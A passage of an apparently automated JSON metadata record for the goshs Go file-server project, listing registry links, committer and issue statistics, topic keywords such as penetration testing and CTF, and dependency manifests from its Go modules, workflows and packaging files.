/registries/proxy.golang.org/packages/goshs.de%2Fgoshs%2Fv2/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/goshs.de%2Fgoshs%2Fv2/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/goshs.de%2Fgoshs%2Fv2/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/goshs.de%2Fgoshs%2Fv2/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/goshs.de%2Fgoshs%2Fv2/codemeta","maintainers":[],"registry":{"name":"proxy.golang.org","url":"https://proxy.golang.org","ecosystem":"go","default":true,"packages_count":2281958,"maintainers_count":0,"namespaces_count":839500,"keywords_count":125409,"github":"golang","metadata":{"funded_packages_count":68001,"sync_missing_packages_cursor":{"timestamp":"2026-08-17T00:00:58.969562Z","path":"github.com/Tektoncd/operator","version":"v0.78.0"},"rate_limit":1},"icon_url":"https://github.com/golang.png","created_at":"2022-04-04T15:19:22.939Z","updated_at":"2026-08-26T05:01:06.821Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/namespaces"}}],"commits":{"id":11777488,"full_name":"goshs-labs/goshs","default_branch":"master","total_commits":654,"total_committers":11,"total_bot_commits":77,"total_bot_committers":1,"mean_commits":59.45454545454545,"dds":0.27217125382262997,"past_year_total_commits":335,"past_year_total_committers":3,"past_year_total_bot_commits":68,"past_year_total_bot_committers":1,"past_year_mean_commits":111.66666666666667,"past_year_dds":0.21194029850746265,"last_synced_at":"2026-08-25T23:30:48.155Z","last_synced_commit":"474454e2d7355c4ad8d66bfb94b1eb19a15be22a","created_at":"2026-05-30T00:02:58.755Z","updated_at":"2026-08-25T23:30:47.660Z","committers":[{"name":"Patrick Hener","email":"patrickhener@posteo.de","login":"patrickhener","count":476},{"name":"dependabot[bot]","email":"49699333+dependabot[bot]","login":"dependabot[bot]","count":77},{"name":"Patrick Hener","email":"patrick.hener@syss.de","login":null,"count":55},{"name":"Patrick Hener","email":"patrick.hener@to.com","login":null,"count":31},{"name":"aWZHY0yQH81uOYvH","email":"32046476+aWZHY0yQH81uOYvH","login":"aWZHY0yQH81uOYvH","count":7},{"name":"Oleksandr Redko","email":"oleksandr.red+github@gmail.com","login":"alexandear","count":3},{"name":"ty3tx","email":"tzy5088@psu.edu","login":"ty3gx","count":1},{"name":"parzel","email":"parzel@posteo.de","login":"parzel","count":1},{"name":"Hazegard","email":"m.catrice@outlook.com","login":"Hazegard","count":1},{"name":"Andrew Gordon","email":"andrewbebiegordon@gmail.com","login":"abgordon","count":1},{"name":"Vagelis","email":"evangelos.aidonopoulos@cz.verizon.com","login":null,"count":1}],"past_year_committers":[{"name":"Patrick Hener","email":"patrickhener@posteo.de","login":"patrickhener","count":264},{"name":"dependabot[bot]","email":"49699333+dependabot[bot]","login":"dependabot[bot]","count":68},{"name":"Oleksandr Redko","email":"oleksandr.red+github@gmail.com","login":"alexandear","count":3}],"commits_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/commits","host":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-08-27T00:00:09.802Z","repositories_count":6795696,"commits_count":985619131,"contributors_count":41546797,"owners_count":1367510,"committers_count":3369676,"icon_url":"https://github.com/github.png","host_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories"}},"issues":{"table":{"full_name":"goshs-labs/goshs","html_url":"https://github.com/goshs-labs/goshs","last_synced_at":"2026-08-27T00:01:30.810Z","status":"error","issues_count":20,"pull_requests_count":119,"avg_time_to_close_issue":98358.65,"avg_time_to_close_pull_request":103188.29411764706,"issues_closed_count":20,"pull_requests_closed_count":119,"pull_request_authors_count":5,"issue_authors_count":15,"avg_comments_per_issue":2.8,"avg_comments_per_pull_request":0.4117647058823529,"merged_pull_requests_count":101,"bot_issues_count":0,"bot_pull_requests_count":89,"past_year_issues_count":17,"past_year_pull_requests_count":114,"past_year_avg_time_to_close_issue":111658.4705882353,"past_year_avg_time_to_close_pull_request":107121.20175438597,"past_year_issues_closed_count":17,"past_year_pull_requests_closed_count":114,"past_year_pull_request_authors_count":3,"past_year_issue_authors_count":13,"past_year_avg_comments_per_issue":2.9411764705882355,"past_year_avg_comments_per_pull_request":0.35964912280701755,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":88,"past_year_merged_pull_requests_count":96,"created_at":"2026-06-22T16:01:20.924Z","updated_at":"2026-08-27T00:01:30.810Z","repository_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs","issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/issues","issue_labels_count":{"table":{"bug":9,"enhancement":5,"Security Issue":2}},"pull_request_labels_count":{"table":{"dependencies":89,"github_actions":62,"go":26,"docker":1}},"issue_author_associations_count":{"table":{"NONE":16,"MEMBER":4}},"pull_request_author_associations_count":{"table":{"CONTRIBUTOR":94,"MEMBER":25}},"issue_authors":{"table":{"patrickhener":4,"leanworld7-netizen":2,"matthiasbeyer":2,"dleto614":1,"bompit1":1,"Fnnnr":1,"juanfra684":1,"schieni":1,"ionv06":1,"avioli":1,"delatvan":1,"Matheuz7k":1,"Robert-M-Muench":1,"anir0y":1,"shotintoeternity":1}},"pull_request_authors":{"table":{"dependabot[bot]":89,"patrickhener":25,"alexandear":3,"ty3gx":1,"parzel":1}},"host":{"table":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-08-27T00:00:05.952Z","repositories_count":16427974,"issues_count":42802453,"pull_requests_count":136835029,"authors_count":11542839,"icon_url":"https://github.com/github.png","host_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories","owners_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/owners","authors_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors"}},"past_year_issue_labels_count":{"table":{"bug":8,"enhancement":3,"Security Issue":2}},"past_year_pull_request_labels_count":{"table":{"dependencies":88,"github_actions":62,"go":25,"docker":1}},"past_year_issue_author_associations_count":{"table":{"NONE":14,"MEMBER":3}},"past_year_pull_request_author_associations_count":{"table":{"CONTRIBUTOR":91,"MEMBER":23}},"past_year_issue_authors":{"table":{"patrickhener":3,"leanworld7-netizen":2,"matthiasbeyer":2,"anir0y":1,"bompit1":1,"delatvan":1,"dleto614":1,"Fnnnr":1,"ionv06":1,"Matheuz7k":1,"Robert-M-Muench":1,"schieni":1,"shotintoeternity":1}},"past_year_pull_request_authors":{"table":{"dependabot[bot]":88,"patrickhener":23,"alexandear":3}},"maintainers":[{"table":{"login":"patrickhener","count":29,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patrickhener"}}],"active_maintainers":[{"table":{"login":"patrickhener","count":26,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patrickhener"}}]}},"events":{"total":{"CreateEvent":13,"DeleteEvent":13,"ForkEvent":1,"IssueCommentEvent":1,"PushEvent":46},"last_year":{"CreateEvent":13,"DeleteEvent":13,"ForkEvent":1,"IssueCommentEvent":1,"PushEvent":46}},"keywords":["capture-the-flag","ctf","devtools","dns-server","file-server","file-transfer","golang","http-server","https-server","kali-linux","ldap","ntlm","offensive-security","penetration-testing","red-teaming","security-tools","sftp","smb","smtp-server","webdav"],"dependencies":[{"ecosystem":"go","filepath":"go.mod","sha":null,"kind":"manifest","created_at":"2022-08-12T10:21:33.482Z","updated_at":"2022-08-12T10:21:33.482Z","repository_link":"https://github.com/goshs-labs/goshs/blob/main/go.mod","dependencies":[{"id":1315561742,"package_name":"github.com/gorilla/mux","ecosystem":"go","requirements":"v1.8.0","direct":true,"kind":"runtime","optional":false},{"id":1315561743,"package_name":"github.com/gorilla/websocket","ecosystem":"go","requirements":"v1.4.2","direct":true,"kind":"runtime","optional":false},{"id":1315561744,"package_name":"github.com/sirupsen/logrus","ecosystem":"go","requirements":"v1.8.1","direct":true,"kind":"runtime","optional":false},{"id":1315561745,"package_name":"golang.org/x/net","ecosystem":"go","requirements":"v0.0.0-20211007125505-59d4e928ea9d","direct":true,"kind":"runtime","optional":false}]},{"ecosystem":"go","filepath":"go.sum","sha":null,"kind":"lockfile","created_at":"2022-08-12T10:21:33.565Z","updated_at":"2022-08-12T10:21:33.565Z","repository_link":"https://github.com/goshs-labs/goshs/blob/main/go.sum","dependencies":[{"id":1315564479,"package_name":"github.com/davecgh/go-spew","ecosystem":"go","requirements":"v1.1.1","direct":false,"kind":"runtime","optional":false},{"id":1315564480,"package_name":"github.com/gorilla/mux","ecosystem":"go","requirements":"v1.8.0","direct":false,"kind":"runtime","optional":false},{"id":1315564481,"package_name":"github.com/gorilla/websocket","ecosystem":"go","requirements":"v1.4.2","direct":false,"kind":"runtime","optional":false},{"id":1315564482,"package_name":"github.com/pmezard/go-difflib","ecosystem":"go","requirements":"v1.0.0","direct":false,"kind":"runtime","optional":false},{"id":1315564483,"package_name":"github.com/sirupsen/logrus","ecosystem":"go","requirements":"v1.8.1","direct":false,"kind":"runtime","optional":false},{"id":1315564484,"package_name":"github.com/stretchr/testify","ecosystem":"go","requirements":"v1.2.2","direct":false,"kind":"runtime","optional":false},{"id":1315564485,"package_name":"golang.org/x/net","ecosystem":"go","requirements":"v0.0.0-20211007125505-59d4e928ea9d","direct":false,"kind":"runtime","optional":false},{"id":1315564486,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20191026070338-33540a1f6037","direct":false,"kind":"runtime","optional":false},{"id":1315564487,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20201119102817-f84b799fce68","direct":false,"kind":"runtime","optional":false},{"id":1315564488,"package_name":"golang.org/x/sys","ecosystem":"go","requirements":"v0.0.0-20210423082822-04245dca01da","direct":false,"kind":"runtime","optional":false},{"id":1315564489,"package_name":"golang.org/x/term","ecosystem":"go","requirements":"v0.0.0-20201126162022-7de9c90e9dd1","direct":false,"kind":"runtime","optional":false},{"id":1315564490,"package_name":"golang.org/x/text","ecosystem":"go","requirements":"v0.3.6","direct":false,"kind":"runtime","optional":false},{"id":1315564491,"package_name":"golang.org/x/tools","ecosystem":"go","requirements":"v0.0.0-20180917221912-90fa682c2a6e","direct":false,"kind":"runtime","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/codeql-analysis.yml","sha":null,"kind":"manifest","created_at":"2023-01-29T02:31:43.032Z","updated_at":"2023-01-29T02:31:43.032Z","repository_link":"https://github.com/goshs-labs/goshs/blob/main/.github/workflows/codeql-analysis.yml","dependencies":[{"id":7220415630,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v2","direct":true,"kind":"composite","optional":false},{"id":7220415631,"package_name":"github/codeql-action/init","ecosystem":"actions","requirements":"v1","direct":true,"kind":"composite","optional":false},{"id":7220415632,"package_name":"github/codeql-action/autobuild","ecosystem":"actions","requirements":"v1","direct":true,"kind":"composite","optional":false},{"id":7220415633,"package_name":"github/codeql-action/analyze","ecosystem":"actions","requirements":"v1","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/release.yml","sha":null,"kind":"manifest","created_at":"2023-01-29T02:31:43.096Z","updated_at":"2023-01-29T02:31:43.096Z","repository_link":"https://github.com/goshs-labs/goshs/blob/main/.github/workflows/release.yml","dependencies":[{"id":7220415657,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v2","direct":true,"kind":"composite","optional":false},{"id":7220415658,"package_name":"actions/setup-go","ecosystem":"actions","requirements":"v2","direct":true,"kind":"composite","optional":false},{"id":7220415659,"package_name":"goreleaser/goreleaser-action","ecosystem":"actions","requirements":"v2","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"docker","filepath":"Dockerfile","sha":null,"kind":"manifest","created_at":"2025-05-02T09:31:42.340Z","updated_at":"2025-05-02T09:31:42.340Z","repository_link":"https://github.com/goshs-labs/goshs/blob/main/Dockerfile","dependencies":[{"id":22949237583,"package_name":"golang","ecosystem":"docker","requirements":"1.24-alpine","direct":true,"kind":"build","optional":false},{"id":22949237584,"package_name":"alpine","ecosystem":"docker","requirements":"latest","direct":true,"kind":"build","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/codecov.yml","sha":null,"kind":"manifest","created_at":"2026-08-09T15:30:57.063Z","updated_at":"2026-08-09T15:30:57.063Z","repository_link":"https://github.com/goshs-labs/goshs/blob/main/.github/workflows/codecov.yml","dependencies":[{"id":26001819810,"package_name":"actions/checkout","ecosystem":"actions","requirements":"3d3c42e5aac5ba805825da76410c181273ba90b1","direct":true,"kind":"composite","optional":false},{"id":26001819811,"package_name":"actions/setup-go","ecosystem":"actions","requirements":"b7ad1dad31e06c5925ef5d2fc7ad053ef454303e","direct":true,"kind":"composite","optional":false},{"id":26001819812,"package_name":"codecov/codecov-action","ecosystem":"actions","requirements":"fb8b3582c8e4def4969c97caa2f19720cb33a72f","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"rpm","filepath":"packaging/rpm/goshs.spec","sha":null,"kind":"manifest","created_at":"2026-08-09T15:31:03.079Z","updated_at":"2026-08-09T15:31:03.079Z","repository_link":"https://github.com/goshs-labs/goshs/blob/main/packaging/rpm/goshs.spec","dependencies":[{"id":26001820176,"package_name":"golang","ecosystem":"rpm","requirements":"*","direct":true,"kind":"build","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/ci.yml","sha":null,"kind":"manifest","created_at":"2026-08-09T15:30:55.030Z","updated_at":"2026-08-09T15:30:55.030Z","repository_link":"https://github.com/goshs-labs/goshs/blob/main/.github/workflows/ci.yml","dependencies":[{"id":26001819790,"package_name":"actions/checkout","ecosystem":"actions","requirements":"3d3c42e5aac5ba805825da76410c181273ba90b1","direct":true,"kind":"composite","optional":false},{"id":26001819791,"package_name":"actions/setup-go","ecosystem":"actions","requirements":"b7ad1dad31e06c5925ef5d2fc7ad053ef454303e","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/docker-release.yml","sha":null,"kind":"manifest","created_at":"2026-08-09T15:30:58.982Z","updated_at":"2026-08-09T15:30:58.982Z","repository_link":"https://github.com/goshs-labs/goshs/blob/main/.github/workflows/docker-release.yml","dependencies":[{"id":26001819826,"package_name":"actions/checkout","ecosystem":"actions","requirements":"3d3c42e5aac5ba805825da76410c181273ba90b1","direct":true,"kind":"composite","optional":false},{"id":26001819827,"package_name":"docker/setup-qemu-action","ecosystem":"actions","requirements":"96fe6ef7f33517b61c61be40b68a1882f3264fb8","direct":true,"kind":"composite","optional":false},{"id":26001819828,"package_name":"docker/setup-buildx-action","ecosystem":"actions","requirements":"bb05f3f5519dd87d3ba754cc423b652a5edd6d2c","direct":true,"kind":"composite","optional":false},{"id":26001819829,"package_name":"docker/login-action","ecosystem":"actions","requirements":"dbcb813823bdd20940b903addbd779551569679f","direct":true,"kind":"composite","optional":false},{"id":26001819830,"package_name":"docker/build-push-action","ecosystem":"actions","requirements":"53b7df96c91f9c12dcc8a07bcb9ccacbed38856a","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/scorecard.yml","sha":null,"kind":"manifest","created_at":"2026-08-09T15:31:00.332Z","updated_at":"2026-08-09T15:31:00.332Z","repository_link":"https://github.com/goshs-labs/goshs/blob/main/.github/workflows/scorecard.yml","dependencies":[{"id":26001819858,"package_name":"actions/checkout","ecosystem":"actions","requirements":"3d3c42e5aac5ba805825da76410c181273ba90b1","direct":true,"kind":"composite","optional":false},{"id":26001819859,"package_name":"ossf/scorecard-action","ecosystem":"actions","requirements":"2d1146689b8cda280b9bc96326124645441f03bc","direct":true,"kind":"composite","optional":false},{"id":26001819860,"package_name":"github/codeql-action/upload-sarif","ecosystem":"actions","requirements":"e4fba868fa4b1b91e1fdab776edc8cfbe6e9fb81","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/snap.yml","sha":null,"kind":"manifest","created_at":"2026-08-09T15:31:01.311Z","updated_at":"2026-08-09T15:31:01.311Z","repository_link":"https://github.com/goshs-labs/goshs/blob/main/.github/workflows/snap.yml","dependencies":[{"id":26001819975,"package_name":"actions/checkout","ecosystem":"actions","requirements":"3d3c42e5aac5ba805825da76410c181273ba90b1","direct":true,"kind":"composite","optional":false},{"id":26001819976,"package_name":"snapcore/action-build","ecosystem":"actions","requirements":"3bdaa03e1ba6bf59a65f84a751d943d549a54e79","direct":true,"kind":"composite","optional":false},{"id":26001819977,"package_name":"actions/upload-artifact","ecosystem":"actions","requirements":"043fb46d1a93c77aae656e7c1c64a875d1fc6a0a","direct":true,"kind":"composite","optional":false},{"id":26001819978,"package_name":"actions/download-artifact","ecosystem":"actions","requirements":"3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c","direct":true,"kind":"composite","optional":false},{"id":26001819979,"package_name":"snapcore/action-publish","ecosystem":"actions","requirements":"214b86e5ca036ead1668c79afb81e550e6c54d40","direct":true,"kind":"composite","optional":false}]}],"score":null,"created_at":"2026-06-21T15:45:25.706Z","updated_at":"2026-08-27T00:01:31.115Z","avatar_url":"https://github.com/goshs-labs.png","language":"Go","codemeta":null,"publiccode":null,"project_url":"https://summary.ecosyste.ms/api/v1/projects/373146","html_url":"https://summary.ecosyste.ms/projects/373146"}